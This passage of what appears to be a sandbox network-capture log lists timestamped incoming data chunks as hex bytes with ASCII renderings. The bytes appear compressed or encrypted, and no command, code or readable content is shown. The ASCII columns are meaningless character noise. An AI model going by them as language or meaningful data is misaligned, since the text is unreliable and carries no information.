07 79 1a bb c4 ac 19 3a d5 52 e2 ee 15 e8 c9 6d 75 e3 f7 0a ea fc fa 7b 1d 04 a3 ea 67 3b cf f5 f0 71 1b Data Ascii: t<%f>`{\|9D,!X@_ooI{`q;zLuX.g1hPVIF!&QnkW</KjpQ-}4%LXG=1[B+S%K$=g?OqcST;`T#=Up_v5HWy:Rmu{g;q
2023-08-02 08:13:02 UTC	1106	IN	Data Raw: f5 fc 41 20 e6 8a f4 ae 47 43 07 02 cc 88 d5 9a d1 49 a8 e8 8a fb 33 eb 08 43 01 8a 09 8f 8d b0 16 48 69 17 7a bb 04 6e 92 90 92 8a 22 94 15 d1 59 0f 21 a9 5d 4b 8b fa 0e b3 33 f9 19 4f 75 7b f5 d6 fb dd bc 9b 1a 3f 94 50 c4 e7 c5 15 99 75 b0 6e f6 39 69 df f8 53 8c 10 cb 59 8e 4c 15 6a af 44 b0 c7 2f da 45 10 96 f1 5f 9c ef af c5 a9 1a a3 df 04 6b 49 71 d2 f6 7b c8 a8 41 61 2b a7 f8 ec ee 52 11 00 5d ed 04 73 4c 9a 04 52 8e 2e 50 11 d0 3f 07 73 80 72 ae e5 b8 88 81 30 49 4e 6c 40 95 16 90 82 cb b8 1f 7a 0d 4c 38 ee df 6b b4 7b fc 7e a4 f2 e6 cd 8c 2e b1 84 89 2b 01 5f 97 f5 9d cb e3 57 0d 01 88 9a 57 8d 3d 7c aa 5c 13 0d 05 54 aa a6 c6 a7 42 08 1f 8a b0 8c 63 4a 62 96 b7 14 64 18 63 cb 4e 42 c6 ca 3b 68 54 b2 8d 12 69 08 27 46 35 90 ec be 99 2b f8 ec 0a Data Ascii: A GCI3CHizn"Y!]K3Ou{?Pun9iSYLjD/E_kIq{Aa+R]sLR.P?sr0INl@zL8k{~.+_WW=\|\TBcJbdcNB;hTi'F5+
2023-08-02 08:13:02 UTC	1122	IN	Data Raw: 4a f1 c2 b5 01 e6 81 6f 9f 88 16 c9 a0 26 d8 29 0e 2a 89 b7 64 d0 0e 19 88 f0 0b 7f 34 0d 16 a0 ea 57 e3 ad 5e bd 1e 72 83 d3 57 25 78 3f 49 10 1d 10 67 86 32 1b 24 e2 6c 02 05 e6 72 83 5e 19 23 ab 64 c0 cf c1 8c 85 38 9f 25 80 27 db 7b 97 87 38 fb f9 7c 73 8c 43 a3 78 53 e7 80 52 e7 c7 a9 a2 2d db 0a 4e e1 56 b5 d0 80 4b dd 7b f0 e2 39 af 1b a1 d8 c0 5d bc bc 33 4f 06 c1 a0 41 69 3a 87 19 af de bb ce c3 63 82 a8 dd a5 33 ac 45 ed 38 0d f4 b2 7e 65 66 a2 98 6e d1 0a da 35 51 8b 0d 91 e1 ac 85 8c d4 e3 ad 9a 23 15 b2 1d 76 c9 26 4c dc 65 b0 c5 47 6c ea fd 18 82 da d4 4c 4b 9b 29 ed b9 dc 97 15 ed ce 75 c0 b8 6c 5a 8b b8 f8 5b 81 5a 7c c2 01 e1 66 9a 07 a5 65 31 ca 1b 89 83 dd 7a 63 35 7b 32 47 93 8f 88 dd b0 e2 10 61 b1 e1 c1 4f cf 37 9b c9 c5 21 63 e9 f0 Data Ascii: Jo&)*d4W^rW%x?Ig2$lr^#d8%'{8\|sCxSR-NVK{9]3OAi:c3E8~efn5Q#v&LeGlLK)ulZ[Z\|fe1zc5{2GaO7!c
2023-08-02 08:13:02 UTC	1138	IN	Data Raw: 10 95 c3 2d a6 16 f4 44 4c 98 92 76 fd 20 a2 87 52 3e 68 e6 61 0a 3e 13 c9 97 26 12 73 c0 9a 94 4e 40 66 93 1b 37 43 06 7a 7a 09 7c 42 ad 25 64 49 a6 83 3d 6f d8 5f bb 85 3c 06 63 b3 c4 9b ea 52 cf 04 22 42 d6 0c b2 49 5c 4d b9 d5 15 f8 e0 44 e8 c0 ed d9 ba 65 a7 2e 46 9e b0 0b 87 7b 7e 4b b0 af 1d 11 d0 e4 60 a0 c0 f1 09 1f c0 71 6c 1f 82 21 6f eb 56 2b d6 9a 4e 1d eb 2c 76 0d 8e 0c 88 92 30 dd 57 c5 4f df d8 6e 93 b0 f3 23 b6 ee 09 86 81 cb c3 e9 b8 6a fb df 9b 58 b5 96 95 56 ff 61 e0 12 9e f3 f6 85 ee a1 c6 61 a8 2f 69 76 01 8c 0e 3f c7 cc 0e 20 1d c0 e4 cc 71 46 a9 e7 5c 60 ba 52 fc 83 93 6c 8f d8 60 90 94 1b 0d 0c e2 a4 61 c5 0b 09 72 3e 69 6f e5 a1 88 30 ca ff cd 27 19 d1 cd b0 24 5f 8f 33 d1 80 fb ab 3e 31 2d f0 93 f1 56 54 e2 1b 4e f3 36 9c 87 39 Data Ascii: -DLv R>ha>&sN@f7Czz\|B%dI=o_<cR"BI\MDe.F{~K`ql!oV+N,v0WOn#jXVaa/iv? qF\`Rl`ar>io0'$_3>1-VTN69
2023-08-02 08:13:02 UTC	1154	IN	Data Raw: 22 88 a9 1a 40 78 4d cb 3b 91 d9 4a cc 8d 4f 90 8c ab 3b 94 db 5b ab 01 bb 90 90 7b a4 28 3d c7 8d 5e ef 7c 8d b7 f4 42 78 56 ad 6b 3a fb bc 2a 14 9b b6 06 1b d4 e3 89 9c aa 4e 6e 4c 1a 55 f8 f9 90 bb f9 ef 85 be 35 e8 2b 36 9f 2d 46 48 8a c3 0d b5 49 ba 86 ee 23 9d 1b 24 d5 ba 93 50 b5 c7 40 01 cb 50 66 8e 54 74 cc aa af 6f b9 da a1 2e 60 72 7e 55 05 39 50 c7 8c 74 c1 6c 2d 4e f3 89 c6 5a 86 55 99 05 47 15 af 67 ad 0a b6 38 b4 62 73 33 72 27 c8 78 a3 18 b2 e3 cb 9b 59 01 80 20 19 03 95 69 8a bc 75 3b af 28 62 67 e2 68 8f 41 e8 96 7a 75 e1 15 a9 4f 44 cc 69 ed d3 5b ab 69 6e f1 7e d3 84 3f cb 4b e7 40 1c ad 99 73 67 35 9f 8b 26 19 74 91 ff 37 07 76 7a 07 9e e9 ca fb f4 d4 2e b1 08 af 4a 28 c2 de 1a d0 54 26 d1 be c0 a2 08 49 99 fd 64 6a 5a 04 71 58 2e 05 Data Ascii: "@xM;JO;[{(=^\|BxVk:*NnLU5+6-FHI#$P@PfTto.`r~U9Ptl-NZUGg8bs3r'xY iu;(bghAzuODi[in~?K@sg5&t7vz.J(T&IdjZqX.
2023-08-02 08:13:02 UTC	1170	IN	Data Raw: a1 04 c7 fc 68 c0 2d a4 fa 2d 47 f8 43 39 e0 c5 3c a6 c6 f6 d3 bb c2 27 9a 63 3b 54 2d 23 05 c3 38 f8 90 ce c3 81 ec 67 6b ca be f5 ed 81 55 59 2b c0 66 9c e4 87 76 cd 87 00 59 fd 4f 8a a8 5d 3f ec 37 1f a9 e7 a5 c7 41 c0 11 5d 28 93 59 ce 40 f0 4f 30 e5 80 0e 9d 23 db fb a9 65 2d f8 03 25 09 48 c5 e4 e3 61 22 0a e9 7f 91 77 f7 76 e3 4b 5c 25 f8 c4 3f ed 6a 72 85 89 38 5d 97 24 bb db 48 5b 0a b6 ab fc 58 e4 e6 07 12 2b 85 73 72 8c d5 35 98 8b ba 26 d9 2d 22 11 29 61 cb ea 81 f5 f4 54 c6 a9 0b 9c ae 2c 01 a6 75 3a 1c 0b da 84 5b 3a 92 d4 ad b4 ec 5c 2f d6 a7 d3 3e 46 72 1e c3 af c5 a3 7b 72 9c a9 a6 93 38 e8 a0 53 63 29 a4 fa 39 5a 48 fd 34 ae ee 7e b0 82 1c 50 7c e0 43 48 2f bb aa dc 88 bf 0f c0 0b 49 c5 ea 1e 9b fe 64 e7 a2 2d e4 17 96 2f 65 e9 91 6a 14 Data Ascii: h--GC9<'c;T-#8gkUY+fvYO]?7A](Y@O0#e-%Ha"wvK\%?jr8]$H[X+sr5&-")aT,u:[:\/>Fr{r8Sc)9ZH4~P\|CH/Id-/ej
2023-08-02 08:13:02 UTC	1186	IN	Data Raw: 49 6e 99 4b 63 c0 3b 9b c8 4d fe dc 8e 26 a0 65 59 7c fd c7 19 9b 5d 8e 3b 32 f7 17 5a 09 14 c6 fb 28 05 cb 20 83 43 cc 7c dc 2c a8 06 31 f1 a2 e9 ec 3e 7a 28 93 e4 29 b5 27 e5 b6 38 aa e3 6c 9b a8 07 b0 d9 1a b3 1d a3 cb 1d 76 05 07 b1 19 37 f4 e1 0e 21 d5 f2 ea eb c6 d9 d1 3d 51 53 4e 58 5f 0d 84 d3 16 e5 fd e5 c8 b1 40 56 31 c3 fb 3a c8 43 ab 83 83 81 98 b6 d7 e5 71 ad 54 5a 5d 50 50 8d 77 ad ec df 9d 0c 2f 74 ee d3 bb cf 05 5d 00 69 d9 db ed 6e d9 fd 00 f9 8e 5a 4a c6 d3 8a c5 6b 52 a3 3a 52 a0 45 e1 60 ef 67 8d 26 48 27 ab 4d 0f ad e7 94 a9 13 99 d6 8b 71 2a 36 8d b5 bd 83 95 53 2a 7c b9 9b 98 d5 23 6f 62 56 21 7a 8a 74 b8 ac 8f e7 27 d9 c1 c8 10 32 8d e6 30 e7 57 92 58 dd 90 bb f7 9c bf af 66 1d b9 44 45 dc 3b 0e d9 f3 3c 23 dc ef 80 ee e7 07 c3 52 Data Ascii: InKc;M&eY\|];2Z( C\|,1>z()'8lv7!=QSNX_@V1:CqTZ]PPw/t]inZJkR:RE`g&H'Mq6S\|#obV!zt'20WXfDE;<#R
2023-08-02 08:13:02 UTC	1202	IN	Data Raw: 0d 2b a5 95 a1 39 cf f5 19 37 77 f2 c7 76 84 82 10 97 fd 31 2f ce b0 9b 71 60 2a a1 e3 9b 0a 8c db 7e 08 a7 46 15 db 4f 39 66 1d 0b 17 33 60 0d 60 84 f6 4b d0 e6 5a cb de 5d ff e2 f8 16 64 0a 9b 8f a5 30 c0 35 73 5e 2d fe b4 85 63 b1 c4 9f 82 b8 c7 95 5c 79 f5 00 3d ab 6f 75 e4 8f f5 40 0a 22 9d c8 3f e5 c1 a8 9a f9 0d c5 4a cf 41 50 e8 ce 93 42 89 c1 f5 31 f8 46 5a fe 11 a3 c0 10 27 99 c7 16 a0 f8 6b ff bb 11 58 db 6b f0 06 ff 22 b4 b6 c8 dc 98 99 2c f9 f1 9e 2b 3e 10 f8 d2 ca 67 e8 f7 a6 c0 41 41 31 ce b5 4e 12 b6 70 12 d0 df f3 da a9 72 a7 90 00 28 c4 49 56 9b 0d f0 74 d8 2e 3d 85 d7 1f 01 56 fd eb 72 92 4b 73 35 6f 58 4c dd 92 cb 7c 47 b3 fb 82 e6 a8 99 c9 38 4d 7c a0 0d ee ae e4 e9 aa 39 b3 e1 26 bb e8 b1 ba 89 87 2e 16 54 c6 1c 42 56 af c1 9f 7c a9 Data Ascii: +97wv1/q`*~FO9f3``KZ]d05s^-c\y=ou@"?JAPB1FZ'kXk",+>gAA1Npr(IVt.=VrKs5oXL\|G8M\|9&.TBV\|
2023-08-02 08:13:02 UTC	1218	IN	Data Raw: 0d f1 9a 83 af 28 ae a2 68 c9 8d 2a 6c 06 cb a4 dd 91 46 fc 62 97 0f fe 8d 27 68 b4 a4 6d 63 df a9 20 3d 47 08 fb 09 7e 2d d8 ff 5f 30 8f 2d c4 3e bb 63 1b 40 70 c5 f1 e9 bf 57 93 8c 54 8e ec f2 ac b6 ec a8 6b 6a bc a6 1d 10 a8 51 ea 91 12 ff 17 a0 51 a5 5d e0 f2 9d 07 a9 95 20 5a dc f0 5c 22 98 18 6f f3 a3 69 c2 a0 1f e3 fd b4 a2 82 9a 70 5f 1f 05 69 4a cc 51 0e 40 cb 3a 8a fa 58 ab 93 d3 62 10 d0 60 5d 95 59 bd b1 6a b3 c9 4a dc 73 ca 5d 62 e2 c2 76 9c 7b fe 87 93 fe d5 dc 76 92 cd a2 40 b4 0d 38 89 20 09 ce 57 5d ae 3b 61 82 a6 dc 38 86 aa 1e c9 07 ec cc 9d b7 2b 08 36 01 c7 63 1e 46 df 16 4e 13 57 c9 6e 91 52 00 8e 88 ca c9 79 c3 c0 48 32 dd ff 22 61 09 56 e1 f4 cf 0f 0d 67 ac c3 ad 33 07 35 72 21 54 ae ac d1 cf a5 6a 6c 42 3e 4f 8d 24 f2 98 2a 27 bb Data Ascii: (hlFb'hmc =G~-_0->c@pWTkjQQ] Z\"oip_iJQ@:Xb`]YjJs]bv{v@8 W];a8+6cFNWnRyH2"aVg35r!TjlB>O$'
2023-08-02 08:13:02 UTC	1234	IN	Data Raw: 52 96 fa 86 c9 6b 5e 86 57 6e 71 c7 5e ea 65 0f 80 a4 c9 04 5f fa 94 dd 75 29 ca 3f 02 9f 5f 89 aa 28 38 23 08 58 60 ae ad 20 b2 23 ea 9e 07 bb 8d a0 75 10 cc cd d3 ec 9b 2a 99 03 72 65 a4 ea 45 46 98 d9 d3 6b b5 2d a5 97 c7 61 ae 6a 65 ad 5c db c1 90 95 5b 3b 52 67 21 5f 2e 64 78 d8 73 7c 94 a6 e8 a1 19 3e f3 8e c1 dd 32 78 6e 17 5a 2e e5 c5 9b 05 f0 56 95 02 f2 4b f1 37 dc 11 ac dd b7 85 d0 bb 0a 5e 7d 1d 16 81 24 24 3c 21 a9 27 51 a1 f8 02 20 11 cb 86 62 9f 7a 2c ec 76 13 bc bc c8 28 65 a5 7c 38 01 02 cc b6 6f 43 86 b0 50 dd e4 b3 d4 b1 f1 05 a7 fa e3 85 c1 c4 10 3a 95 57 95 e4 7d dc 04 8e bb 27 e5 73 91 f1 6c f6 b6 ef a7 aa 32 43 ff c5 44 b4 62 b2 21 73 d7 0e 7c 06 54 20 ea ae 6c 47 24 55 2e 55 8b fa d4 bb df 04 d0 7f 71 fb 8f 54 54 0a 2a bf dc 0c 4d Data Ascii: Rk^Wnq^e_u)?_(8#X` #ureEFk-aje\[;Rg!_.dxs\|>2xnZ.VK7^}$$<!'Q bz,v(e\|8oCP:W}'sl2CDb!s\|T lG$U.UqTTM
2023-08-02 08:13:02 UTC	1250	IN	Data Raw: 74 d1 bc 41 17 f3 9a b7 e6 18 cf 4b 4c ff b0 73 a3 f9 d6 04 c7 da e3 6f a2 9a 5f 2a 3f a7 de 9f 59 11 25 b9 78 09 0d 49 ae 52 15 d6 73 ed ef f4 81 55 f6 bc 2e 26 37 3d de e3 47 f5 d7 21 5b 37 8b 92 05 56 8d 69 58 d7 d1 63 00 05 c6 65 f2 2f cc 80 3f 1a bb 73 92 99 ba 8b 7e 8c d5 86 b6 15 bf ad ec 38 0b 2f 0b 65 37 ef 3a d5 a2 d1 b9 37 2e 54 8c 74 cc dc 0f 60 b7 1c 83 85 89 f9 4a ae 2a da 38 f6 5c fa 25 13 db 6d ce 5c 4c 3a 77 af 65 32 b6 3b a6 a7 77 9c 65 87 7f cd 3b 7b c9 44 65 62 22 3a ad 4d cd 14 7f fb 8b a9 2e 41 2f e3 94 62 8b e3 1d 0b 10 5d 93 f9 df 63 c3 ff 1a fa 01 5b 4e da 34 ab f3 78 24 65 6f 0c 18 0f 65 82 dc ae 03 be 1c a6 56 55 dc a9 26 11 84 73 e5 b5 cf be d8 1e b9 a1 44 d1 01 1b 5c a1 60 1b 2a 67 8d 42 cf 61 09 9b bd c6 2c 46 8d b1 a5 3a c7 Data Ascii: tAKLso_?Y%xIRsU.&7=G![7ViXce/?s~8/e7:7.Tt`J8\%m\L:we2;we;{Deb":M.A/b]c[N4x$eoeVU&sD\`*gBa,F:
2023-08-02 08:13:02 UTC	1266	IN	Data Raw: 0b 36 ca 0b 3c b4 15 3b 4e c3 71 12 e1 4d 2e 3c 14 a3 43 30 df f2 92 59 9f 12 4a f5 4e 65 f6 86 d1 d6 59 f7 7b 9b 0d e5 47 b0 8c 30 69 69 37 67 46 72 e6 84 99 e1 9c ee 9d 6a 1f 2c 75 64 a4 a2 16 75 22 e3 12 16 be 02 77 89 60 9d 19 c0 a7 83 15 26 ef 77 bc 52 66 38 a8 54 2e a4 75 b1 68 a9 97 c6 5b 9d 3f a0 b8 5a 56 0a 32 15 47 ae 7b e6 15 26 d2 7a 42 90 54 34 93 c3 76 9c 30 ff 7c 58 27 00 4b e7 38 5a b8 28 d9 2e 5a b6 b9 48 db f3 57 74 c7 1a 4f c9 a6 80 9d 32 6c 30 29 77 da 0c 32 ec a9 66 43 a5 e1 57 cb f6 cd b0 f0 ff 93 b4 f9 8d ab ff a8 fd ef d8 26 04 0a f5 7d 84 9f 36 72 2a 7d e0 53 2b d9 cb 25 0a 8a a7 c4 fc d9 1c 8a 2f 7f dd 43 9f 82 0d b7 c6 cb 0d 56 f1 34 f1 91 5e 45 8a fa df 07 bf 96 17 8d 07 d2 8a 7a 3c 2a e1 38 56 d6 04 08 e6 7f e7 a3 50 01 b7 bf Data Ascii: 6<;NqM.<C0YJNeY{G0ii7gFrj,udu"w`&wRf8T.uh[?ZV2G{&zBT4v0\|X'K8Z(.ZHWtO2l0)w2fCW&}6r}S+%/CV4^Ez<8VP
2023-08-02 08:13:02 UTC	1282	IN	Data Raw: 55 64 c5 a2 e2 8a 01 fb 66 59 5c c7 04 26 78 80 f2 ea 93 95 60 f2 03 0e 73 8d 4d 9c c5 c7 99 62 b7 a9 57 10 ca f5 a5 1e e4 cc ae 77 11 b6 b4 fe 58 8a 99 47 e6 df 07 03 3d e1 16 56 90 6b 66 e1 7a 1d 53 02 39 19 31 e2 12 6e 2a 3a d2 2f 1c 19 1b a4 27 b0 6a 9e 8c 86 6b c4 1f 93 66 4e c8 a5 0d 7e 76 85 60 12 5e 5b 88 a8 78 6c 0a 43 9e 5a ca 34 e8 20 9f d0 29 13 ae 1d 9c 90 be c4 8d 07 a3 3f 97 09 77 67 4e 11 2b 21 04 12 1d b7 33 48 4e bb 67 7e 9c 08 bd 24 62 f1 b0 47 6e 62 8d e9 07 9b 7d 15 22 2b 28 c0 79 57 98 da b4 c7 20 46 10 b2 a6 a9 87 ce 80 ef c9 c8 67 e7 82 26 64 80 65 c4 02 30 2d 51 00 7b 06 30 d9 4c d7 7b d2 32 a4 04 ee 1c 89 9b ef a5 35 30 4b d0 f0 bf 7a 83 25 29 20 9a 7c 01 e3 42 b2 c1 35 fc 85 ab 2c ce 3f 2b 3c 6f 6b fc c7 88 38 64 bb ff f4 57 e1 Data Ascii: UdfY\&x`sMbWwXG=VkfzS91n*:/'jkfN~v`^[xlCZ4 )?wgN+!3HNg~$bGnb}"+(yW Fg&de0-Q{0L{250Kz%) \|B5,?+<ok8dW
2023-08-02 08:13:02 UTC	1298	IN	Data Raw: 7e 39 a6 e2 7d 46 9d e0 6f b1 e6 e8 2e 59 eb 20 2e 9a 18 09 c0 06 4e 2c c9 c9 2c b5 60 2d 6c cb ec 0b 28 71 7d 38 60 ca 56 b4 90 71 62 0d 04 f4 c3 51 5e 27 52 02 16 06 93 99 d7 76 be 4c 4a 4c b4 19 d3 5b ec bd d2 df c0 eb 46 97 e2 ce c8 84 d6 1b a9 12 6b eb 2e 67 b8 ad 2e c8 cd 5a eb 4e e7 17 e5 69 4f e6 19 66 46 54 a8 50 e6 fa a2 0f 0e ba 84 a5 c0 ed a6 b5 da c2 df aa 59 88 2e 56 8d 53 36 33 34 76 ff c3 08 d4 8f e9 36 2a a8 4b 07 0b b1 05 d0 75 82 1e a6 3e 00 25 b1 2f 9c 68 6e a0 a9 90 ee b9 e9 78 e7 ce 14 f9 d5 51 f6 ad 85 ce 46 39 2d 8e 13 1e 64 62 ad 7d 79 3f 1f ef c7 10 6f 95 85 6f a5 29 77 c6 7d 51 30 9c 2c a4 2a 91 7b 4d 6a 98 f3 86 63 1f 62 a5 00 c7 35 2b 93 5d c0 4c d4 e2 8e 67 99 47 3f bc 59 f1 7c 9c 7b bf 4e 28 71 ca d9 a4 67 34 2f 6d a0 83 74 Data Ascii: ~9}Fo.Y .N,,`-l(q}8`VqbQ^'RvLJL[Fk.g.ZNiOfFTPY.VS634v6Ku>%/hnxQF9-db}y?oo)w}Q0,{Mjcb5+]LgG?Y\|{N(qg4/mt
2023-08-02 08:13:02 UTC	1314	IN	Data Raw: ab 66 0c ad 55 a8 15 ee e9 e9 7b ba 8c 3b be 33 ae 0e 3e 0f 33 c5 05 40 3c c1 8d e1 99 79 13 a3 f4 5f 73 36 92 80 92 9f 85 d9 c8 06 2a 09 d4 57 87 ba da 3c 93 bc 88 e0 30 5b c0 e3 78 37 f1 6d 84 dc 9d d0 ca 42 2c 84 38 32 3c 2c 39 b5 f7 5e d8 b9 d2 09 63 ea 6f 5a ae 7a 88 e2 20 30 5c 22 ba 4c 69 8d 04 48 b9 de 6f ce aa b7 9b dc 1b f1 d0 14 85 0c a9 c2 4b 8f 7d 78 61 b1 0a 74 df fd 91 1e 10 b0 ad 43 0a 08 0a 3c 2e 2c af 96 46 bc 9d e3 fd 3a aa 97 26 a3 fd f8 f1 71 d9 f7 8b e0 cc ac cb a0 94 a7 2d d3 38 8f 78 05 bb 47 a4 c7 7c 98 bf bf cc 34 5a 19 c2 21 e5 53 0f 63 b4 29 16 52 4d ac 31 d3 d5 69 d9 53 a6 1f 3a 23 49 e6 86 0b e3 b8 bd 4b 32 d6 e4 66 92 a6 5d a4 67 6f fb 99 55 04 e5 a9 9c 73 40 a0 cf 0e d5 78 10 64 a1 89 1a ac ae 99 4a 67 14 a5 14 6b 17 92 2e Data Ascii: fU{;3>3@<y_s6*W<0[x7mB,82<,9^coZz 0\"LiHoK}xatC<.,F:&q-8xG\|4Z!Sc)RM1iS:#IK2f]goUs@xdJgk.
2023-08-02 08:13:02 UTC	1330	IN	Data Raw: ec 67 44 d2 fc 56 e0 6d 55 f5 fa 6f e6 f7 38 14 5d 5a 5d 34 de d6 65 e3 79 1c a4 54 5d 4a 6b 0d f7 90 f8 40 67 d4 ae b3 64 1f b5 4d 06 04 54 36 b6 80 ec ac 5d 31 c6 b7 d3 21 7d 46 f1 39 7f 5a 22 4a 13 d3 84 55 83 f3 26 12 05 8a 9a 66 96 41 33 3f ab 2b 3f cb a0 20 bd ee 96 86 bc 24 20 03 04 52 28 42 44 fb b8 e1 88 d2 31 71 be 0e ae f6 3f b7 13 74 42 f1 47 ea 79 5b f3 09 d3 b1 16 a1 8a aa 53 f8 3a 08 8e 44 bc 18 82 3e 32 e9 0d 5d 33 a4 3d 3a cb 80 7b de 16 8c b6 6f c6 c4 d4 e3 b5 9e 1c 36 dc a9 e1 db a5 eb cd d0 af ee 2f 28 55 3b b8 86 30 5c b1 4b d0 2e 6b f0 a1 91 0b d6 11 d7 17 d1 b7 f5 5d 5c 49 ed 58 13 07 23 20 50 54 c9 25 b8 c8 98 64 76 c7 ad 48 d7 7c ef ce a7 2f fa bf cb 15 11 56 bb 46 f9 f7 a4 27 05 9e 5b 19 22 59 a4 35 9c 91 03 e9 19 fd cd ef da ed Data Ascii: gDVmUo8]Z]4eyT]Jk@gdMT6]1!}F9Z"JU&fA3?+? $ R(BD1q?tBGy[S:D>2]3=:{o6/(U;0\K.k]\IX# PT%dvH\|/VF'["Y5
2023-08-02 08:13:02 UTC	1346	IN	Data Raw: fd 48 36 2d 0b 9e af 58 e2 be f4 dd 88 cf 5e 41 b2 e7 f7 6f 51 4c 1b 2c 48 09 1c ec 86 f2 e9 ba b5 56 a0 50 fa ef c5 d7 74 eb 0c de 09 8a 68 18 90 40 8b 0f fd 3e e5 9f 2d 47 fc 9a 9a f2 1b 40 c8 60 31 45 12 01 2d dc 6e 7d 29 31 50 42 3e a7 80 c4 86 1e 30 3e 9a e5 22 bb 0d 28 1c f6 37 5a 1d 71 40 ba b8 79 0c fb ce 7c 8e 2d 78 a5 57 80 a2 67 df c7 f5 ab 89 b1 72 78 eb db f8 14 c7 be ff 3e 7f f1 44 1b 49 d6 a4 00 d7 c9 3b 6c 8b e9 7e 66 99 88 2b 63 ba dd 3b fd c0 c0 c1 33 29 bb 0c ae 55 2e 44 52 3a 4e db 46 5c 9a 21 10 f9 7f b1 7a a0 55 3f ee 93 af 60 66 68 45 c2 0f 67 6c f1 14 39 61 aa db f9 4b 4c 0e 5f 70 1d c1 b7 bd b3 2a 7f 24 3f 60 b2 f9 44 f4 f8 b5 84 8c 02 68 49 fb 01 f1 69 b5 0e 75 83 f4 c0 d9 f6 4d 36 50 23 5a a5 5f 28 0b dc 0f 3f cc cb 5d bf 4b 7b Data Ascii: H6-X^AoQL,HVPth@>-G@`1E-n})1PB>0>"(7Zq@y\|-xWgrx>DI;l~f+c;3)U.DR:NF\!zU?`fhEgl9aKL_p*$?`DhIiuM6P#Z_(?]K{
2023-08-02 08:13:02 UTC	1362	IN	Data Raw: a3 fe 79 0f 95 a5 02 83 78 69 86 34 c1 e4 26 8e 61 93 4e 7d a6 36 fc ac 3a 50 bd 13 49 00 12 31 f9 f5 e9 94 5d 06 b1 e2 10 f9 97 2a 28 45 e9 36 e8 45 48 4c 89 71 e8 5b 0d 80 98 08 fb f2 62 fd da a3 e6 14 f7 62 9f 4e 44 fc 1e 5c 45 99 d7 6a 8a 2c 3d 08 2a 75 ac c8 2b f7 2f 51 b7 48 75 dc 40 84 fe 3e 5c 89 71 4d 9c e5 fa 8c 48 cf 90 3f 88 e5 76 ed 4f cc c3 e2 1d bd 2a 1d 37 97 d5 ef 1c b9 69 ed 13 a8 a2 34 29 b9 10 c8 bc 67 1f e2 23 4a 92 9d 1a f6 f1 4a 16 c5 42 8a ae cd 8d e7 1b b4 19 5d 3f ca ed 60 c4 20 d6 59 4b 20 f4 7b 03 c0 50 37 fd 34 4c 99 3e 06 c3 66 63 f9 c2 49 1d f8 9b a9 2b 65 54 4d 29 52 41 91 ee 11 0c 40 df bb 5d 1a 08 53 ac dc 7b 88 78 40 a4 4e a9 8d af 89 4e c4 4b 41 52 bd a7 3e 6f 7a 1d 23 d1 77 53 48 b7 b5 8d ee 39 fc 65 53 9f bb 25 4e 23 Data Ascii: yxi4&aN}6:PI1](E6EHLq[bbND\Ej,=u+/QHu@>\qMH?vO*7i4)g#JJB]?` YK {P74L>fcI+eTM)RA@]S{x@NNKAR>oz#wSH9eS%N#
2023-08-02 08:13:02 UTC	1378	IN	Data Raw: 47 27 2a e3 f5 b4 61 97 37 b7 c4 2b 59 7f 1f 0c fa 70 e8 24 8d 4d 48 ea 8c f0 8a bc af d6 f5 e0 e0 7c b7 76 6f 9e ed e8 f5 74 08 56 fc 01 dc 77 15 d7 5c 9e 14 bb 8c 71 ce 9c 47 57 7e f3 14 c7 11 6b 39 66 21 ee 82 af dc 99 50 31 3f 90 86 d0 ae 38 7f bb 3c a0 ae 98 e2 99 c9 79 8d 5b ce 18 cc 72 1d ab 7b de de 82 3b 2e e4 69 74 cb af 50 71 6b b8 a6 d1 5a b4 59 7b ac 06 a6 8c 34 cb 3a 31 6b 60 70 f3 7e ad b5 d9 5c ea 9d c6 b1 7d a8 0a e8 bf 76 1c 48 9b 75 41 bd 9a 98 a2 85 94 eb 1d 5e ae 59 fe 5c a8 f5 97 fd eb 05 12 37 42 48 23 61 1a c8 38 ed 6f 9f 12 c4 a9 21 03 eb 00 67 dc 4e 60 be be 93 d9 92 53 fb 49 7b 02 f3 83 7a 76 c7 41 d4 1a 86 c3 bb 02 ec ad 48 74 23 41 89 4f fa d9 1b fe 7a d1 1f aa f9 e2 cf 36 c3 da b7 39 50 d3 8b 7f cc 37 13 d9 db 8f a8 6a 9a 3e Data Ascii: G'*a7+Yp$MH\|votVw\qGW~k9f!P1?8<y[r{;.itPqkZY{4:1k`p~\}vHuA^Y\7BH#a8o!gN`SI{zvAHt#AOz69P7j>
2023-08-02 08:13:02 UTC	1394	IN	Data Raw: d0 70 5d fc 9c a7 18 cb a6 c8 a2 65 64 20 3d 86 fa 98 f1 0a b5 78 19 06 81 5b 59 32 0e b6 42 be f6 38 30 c6 d8 d2 0d 68 2c 85 49 78 58 cc ba d1 9f 10 8e 52 81 04 29 a6 9b e2 2a 0f a7 b7 ba 80 8b 10 44 0e 0a 7d ed 0b 91 98 6d 97 8c f3 6e 9d ca 14 11 1f d4 66 7d e5 64 2c 1a 2e 79 62 14 32 f2 c6 30 2a 2f 67 6b 12 7a 5a de 70 1a 56 e0 cd 9f 07 69 24 6c 2c a0 58 ae 79 5f 37 3d 59 e9 91 dc 2d 8e 80 f2 ae 51 ea c6 e2 9c 84 52 db b1 7d 11 05 2e 61 54 a1 11 0b ed 16 ea 0d 70 1d f1 90 8b 07 99 6f 2f a4 8d 84 9c f5 25 32 29 97 06 7f 7b 2b 63 92 c1 46 8e 74 e9 3a 42 f4 df 0f ad 28 9a 41 c3 0d 86 44 0f a6 22 89 1f 43 ce 98 07 b2 87 ec 1f f1 7e 20 ab f4 06 93 74 c8 70 03 f0 f6 59 8b 18 5e 95 30 b1 9c 21 40 4c e9 b7 83 31 de 70 5e 44 21 17 42 8a 3f 62 42 f6 fb ca 48 29 Data Ascii: p]ed =x[Y2B80h,IxXR)D}mnf}d,.yb20/gkzZpVi$l,Xy_7=Y-QR}.aTpo/%2){+cFt:B(AD"C~ tpY^0!@L1p^D!B?bBH)
